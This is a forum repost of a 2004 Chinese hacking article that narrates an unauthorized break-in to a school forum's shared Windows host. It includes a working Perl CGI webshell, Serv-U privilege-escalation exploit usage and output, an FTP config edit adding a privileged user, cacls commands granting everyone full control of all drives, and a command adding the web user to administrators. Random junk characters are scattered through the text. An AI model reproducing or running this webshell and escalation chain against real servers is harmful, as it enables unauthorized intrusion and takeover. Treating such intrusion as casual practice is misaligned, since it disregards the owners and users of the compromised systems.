中国网络渗透测试联盟

标题: 剑走偏锋——灵巧的旁注攻击 [打印本页]

作者: admin    时间: 2012-9-15 14:11
标题: 剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击 : v- k( _9 c3 \& t+ Z- H$ A
本文作者:angel- s2 Q* P  Z( J4 r. ^: S
文章性质:原创
8 n, e' `& D8 P  o' ^( @% O发布日期:2004-11-09 * |* C, H! h$ z# |. p
注意:
7 T, F' n. F6 ?1 \/ u3 o本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
4 h$ F8 T* U. b本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。% k8 Z) S# C& y" C0 \
4 A* K2 m2 I4 S  K& s0 L
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ( @  K- q+ s1 o' J3 E6 P

' P0 O. ]9 L/ y6 M) B4 q3 J  V  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
  M, E& k! q) K# ~9 X
5 A* D8 D  C1 B9 U% e, S  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 3 X! c9 R0 U8 T* V; z# D1 I) y

! u. o! X, A$ ?3 f; p; J2 q  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
2 a" v; I0 W" e& u. w2 g% b1 }
. s' E6 r- F9 Q3 j" U) e* |  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 * R3 u  t( T8 g
8 Z7 D- a1 I0 x
  没有目的的跳转目录着…… & a# o: ~3 a5 ~, J8 w4 ]* @

5 @; E0 g8 L6 N' T3 F  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 3 }: V4 T8 H8 Y+ P, ~2 p
" f4 t: S6 v5 @
  结束了吗?不,我试着 FTP 一下:
7 r: r: k! N2 Z+ T' O) g+ S
( D& B( p7 D5 X; vMicrosoft Windows 2000 [Version 5.00.2195]
# n" L, X# Q9 D  k(C) 版权所有 1985-2000 Microsoft Corp. + F) c0 ^% d7 E3 X! p
. t' {4 t) S  g- S5 k
C:\Documents and Settings\Administrator>ftp www.school.com
& k0 @6 \5 Q% }/ S  BConnected to www. school.com. 2 [9 a& i/ X3 s
220 Welcome to FTP Server...
9 z6 L/ E/ L  C0 W9 b+ ?User (www.bjtrq.com:(none)):   O6 p% h' H% a' O
331 User name okay, need password. : d* A: @, d1 ^% [# O( [' M
Password: # X; M# m2 L0 [+ }
530 Not logged in. : h0 L3 o5 a: _$ F( o7 s
Login failed.
; {* g1 h- ?2 Z! U6 p2 W4 wftp> bye
5 H; z% h3 j3 t# u: b/ v3 K' M221 Goodbye!
$ m2 B; G" N6 \5 a4 |
/ Z; w2 T- L! @! T7 y& L; Y
3 @) J( F# L1 c5 r4 b  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 9 t0 m$ U$ }" `& x, J* Y9 ~8 A+ Z
$ k+ p6 ~4 T* V9 m3 M! N0 e( Z
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
$ }( S1 Q+ v8 h; ]0 n; P# c5 x- O' l) e) P4 K& T: {+ ?
Application Data  v1 j* J( i6 o5 O) D
Documents4 i- Y2 `' [  |% d/ }
DRM3 g$ g( k/ U9 c
Favorites
+ |+ }! j. q% `- a, g- `( `' ^Templates/ m+ A# u4 E# Y9 T; t
「开始」菜单% ]( _( `: }0 p% O
桌面# }. p6 U! v  h0 [2 Z- N1 C) ~3 e
9 A4 H; z8 b( m9 y  ~
5 T# I$ L1 }6 X
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
) M' x' T/ W0 F" f9 G7 O
( m* F/ ~- R; e: Y: Q- O$ l8 mActiveState ActivePerl 5.8: i$ l" ?( ^2 I/ x% {7 }: y
Administrative Tools
% Y1 _% L" `. D! m4 `5 v# @9 A$ CDeerfield.com# {+ L  f  t* u) \* E9 f4 ^% r
DTemp
- \  |, r( o9 c8 p& E/ XIPSentry
; U9 o! H4 G) w7 Z8 ]$ ^MBM 5
' L3 H' h" Q* R* a! v* Y' |6 [$ FNetMeter, s+ }+ {( k, `3 I% @  w
Network ICE
4 L' Q' V, k0 iPersits Software AspEmail7 p& B* m4 f4 R+ x4 \5 u
Persits Software AspJpeg$ U, `( V' |! ^, C
Serv-U FTP Server: n8 \6 U7 R7 J* W" l
Symantec Client Security1 S( b( p0 C# L/ e( R
Windows 优化大师: f. W" H$ Q1 f% _
WinRAR: S7 k7 a( |, K7 R
启动
8 v/ _: D( v: `管理工具6 d9 M! c/ k( T) H
附件
6 ^  o# H& l- }* P4 C; f( i' O2 l3 X " G. k; I4 ]& Q8 ^6 A+ @
1 |: {8 _6 h6 K* P  X# O
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
& k: ]1 M" z" o4 Y8 D6 S2 L2 C4 Y( y  X7 @: ~3 y, M
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: ! K- ?( j1 W2 R5 `5 h$ p$ @

, q, ]7 r2 V6 s' ?User281=angel|1|0 . X2 l. P6 m( k3 Q3 S
* Y* S  T1 _2 Y7 I/ a% m

1 G  M+ R/ o* S& ?; m5 g# f4 Y  然后加上 & u+ C  A! j% V  ]$ n

/ W% M# V3 C: f2 B[USER=angel|1]
9 Y) g* P' W% v9 Z) d# F0 UPassword=ng98F85379EA68DBF97BAADCA99B69B8053 E1 p1 q& g! \: W& W1 a
HomeDir=D:\websites" y! S, O% s- S) u
RelPaths=1. I% v7 T! H6 Z5 u
TimeOut=6007 d* f* b0 ]! c5 l3 s
Maintenance=System& t. T& r8 w/ U1 f
Access1=D:\websites|RWAMELCDP7 U/ f  \, ]# v8 ?9 P. s% U6 h2 j4 s
SKEYValues=5 G/ `9 J. @9 _7 O( {
6 X* ]8 N& R: o1 N9 o& J( c2 ]
/ u2 L  F, B: B, l  e
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ! \* d3 w# ~5 ]7 B) {

% G3 Z; K( S% O$ c  a+ p  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 - l5 A5 I6 n* Q# g9 ]" K. }

2 V, K2 E$ w6 J  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 7 t; E% e, x  ]" m% |- ^- g0 m

8 O, k9 V0 t- P5 T6 J! L  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
$ L' H% ?6 B/ {
; n2 l* Q# B7 P: ^$ j# [- r#!/usr/bin/perl
5 s/ `1 g0 n: u6 ~$ hbinmode(STDOUT);& i' W7 U8 V! Y0 ?( `5 r  |& k
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
( v0 h; n+ K  d/ B: u  z7 Y$_ = $ENV{QUERY_STRING};  x8 g# P2 c8 T& K/ [' l3 W1 p6 L# ?, D0 A
s/%20/ /ig;
$ m6 W6 E" y$ _& c* Z3 @s/%2f/\//ig;5 Q. b* q. x3 E% J" ]
$execthis = $_;0 _% H4 f- O! D8 v( }: W4 a
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
( H: s* Z7 U5 Q* M4 d: ropen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
+ K* C: ~) b5 N5 Q8 r! hsystem($execthis);
7 j0 I5 [* Z$ ]$ p: Bsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
7 ?$ Q9 k" _" J# F- F' J( M& Rclose(STDERR);
( g. B1 Z4 ^4 D8 G& q3 d, Jclose(STDOUT);# n+ S' a8 g1 w
exit;9 e/ ]2 {) a! b6 b9 Q; s; t

( D1 o  y4 k  _, ^. U1 [
$ X) @, }: k1 L4 w5 ~  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ) O" |6 X* g6 {8 f  E

9 A- `; ?- e+ ^! Q9 [! n& s/ ]" K  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: - `& z5 a; F- T* Z

, w) E5 y/ x3 ]- B5 Whttp://anyhost//cmd.pl?d:\user\bin\su.exe 7 ^) f' i# V) W: y1 P' i& C
" p! F, C  K2 \( S" p2 _9 m

: E+ i5 ?+ A8 n0 t8 s9 W8 h0 p  返回: / O' g0 m/ I5 ?+ _' Q, G
, G- {8 r; a$ A1 Y7 ~9 J: U8 D
Serv-u >3.x Local Exploit by xiaolu
. v3 v) [. Y/ ]4 R& C8 R9 ?# M  j" ~4 f4 E
USAGE: serv-u.exe "command" / I* o+ x. h) I3 E8 k/ Z: l

/ }8 u6 u0 A" V; r! {# Z4 YExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" / r, q3 A5 w: g* d: f
; g' C  I' L5 C* B' m" |8 B+ K

. f% {4 w* O) t  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 5 d" v1 {, y) S8 a4 W" n
2 P6 I$ b6 S1 {5 k! ~! N
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
, M$ {0 H+ U+ l+ X' {
& W* d# f- }  `2 K- a6 x3 n  [* q9 ^http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
& S0 {( B7 F( ]# M4 v# o+ n3 o9 A. M, ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 3 V4 W: B. T" {6 _* J, a
+ i5 @! a& h7 l. c- B  p
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" " D* |2 g, F8 _) ^! R1 g  k) f

% @! h9 e# ^/ s4 G) k0 [. S" A5 z8 c, D7 e- Y
  返回下面的信息,就表示成功了!!! & |6 ~; E: A5 v+ u7 i

4 v/ _1 i4 n# Y; F) w' lServ-u >3.x Local Exploit by xiaolu ' a/ g$ ~0 E& o6 y2 L6 f+ ?
7 Q% h! D: |3 h! |2 a0 h
<220 Serv-U FTP Server v5.2 for WinSock ready... . b/ _0 x! p1 z3 e0 w, w+ a/ ]7 o5 b
$ t' l8 }6 r. j& l2 @
>USER LocalAdministrator
  T4 E6 r) j9 c: ]; g
8 g8 j5 z  q- _' T. O<331 User name okay, need password.
4 F4 E' I3 M. U) ]) e3 k
) {1 o; W+ N# B+ ^. [****************************************************** % g+ U. l& W- J3 S* }
4 s6 ?7 N& g% l6 a& U6 Z% h9 _
>PASS #l@$ak#.lk;0@P 1 R' S4 g1 G5 ]  r4 X8 |4 z
4 H1 p- _1 i$ s3 s# o; v
<230 User logged in, proceed. + w( i' A! t0 K. I! W
" s6 y' J* _. A
******************************************************
& r& @. q2 O6 _/ d* U, G$ |
: @, l7 H8 g4 O- g  v>SITE MAINTENANCE
" E& \- J7 e. w& t- Q8 `3 X9 P* g$ l1 q0 J
******************************************************
1 e5 X# g8 b: N4 s: Z. j8 L$ F! _# ^, n4 F) r6 k6 t: b: l
[+] Creating New Domain... , Y2 ~0 O0 S& o2 r( e1 g

- l, p8 n9 g0 D5 A) c<200-DomainID=2
0 S2 w, N" f3 r3 m5 b4 _6 v' Y  R4 W+ T% K9 y8 B% R8 x
<220 Domain settings saved 5 r% ~) @- `! O3 N! L
0 w, a/ S& m- p/ `
******************************************************
$ v+ v9 H4 Y& U- W* @  a1 k0 ~! W
) T1 T+ O+ ]3 l$ x3 Z% f2 J- v. F3 q' v[+] Domain xl:2 Created
7 y! F4 B( c9 o. o- }; W0 {, g
- L; z7 X' B* }' {/ ?4 \[+] Creating Evil User
6 ]) \+ ^/ [, U/ j+ w: ?1 m. B9 L- [3 J' {  {5 o* v. g
<200-User=xl 7 Z$ v) `: g7 P5 W4 w+ w
# K# G+ F. u. u
200 User settings saved
& w& _! Q, W# Z9 J4 N
: \( ~1 {3 `- e2 [6 o, v******************************************************
+ I" j; _; A1 A3 z9 J+ m: y
4 ^. W0 Z6 \  F  @# j[+] Now Exploiting...
, O. P7 m8 z" p0 y# Z$ K9 U$ `8 }7 |( x2 X) [0 X3 C8 T
>USER xl : w, H/ q3 F, j- o
3 b0 g) z% w! k% A
<331 User name okay, need password. % O% l# d: {0 j$ b7 F- g
( o/ h; s9 N; `
****************************************************** 8 y1 }# d" |5 X' J0 X" K

  y1 n' U' D% _# Y. E. x" k5 `>PASS 111111 $ C# u6 i3 I# L, [6 f, b! S
9 i3 K" P8 D1 L" U
<230 User logged in, proceed. , b9 z& J8 @* |# D: z

: n" z6 s& S/ t8 O  \( ?- `****************************************************** ' j3 v. |. ]- i2 x: b- g  _4 Z
# Z' {3 L5 M1 ?5 Z* u3 [- P: k
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
. X& p+ r1 P- c; n: Y
& r, Q' i$ Q: d: c<220 Domain deleted
* \% V, t* Y' Y: S$ g1 o6 A( t" g& `0 J2 c
******************************************************
4 `3 y8 c+ \+ Z- A2 Y + s, ~  F# P1 S; o+ r$ R. j
) |7 L. H8 ^7 p( B/ X4 H
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
! K- N# S) p8 x
8 \9 r7 ~, z! p$ u5 A9 l6 Hhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
# I$ P' Q; \! ?) v0 q. ?7 g
/ C7 [+ B9 x7 A
* \" n* s& u& m2 P; `  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 6 O) [  j* z- r/ @+ m7 j9 d5 S/ ^

" B( s; @0 p8 X/ d* ]# Z( @9 |+ Z  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。& f! G4 ^  ]* x
2 K- q0 |" r2 ^6 {7 ^" j3 Y  F
  2 \, v* }/ E% d% M' o! V1 q





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2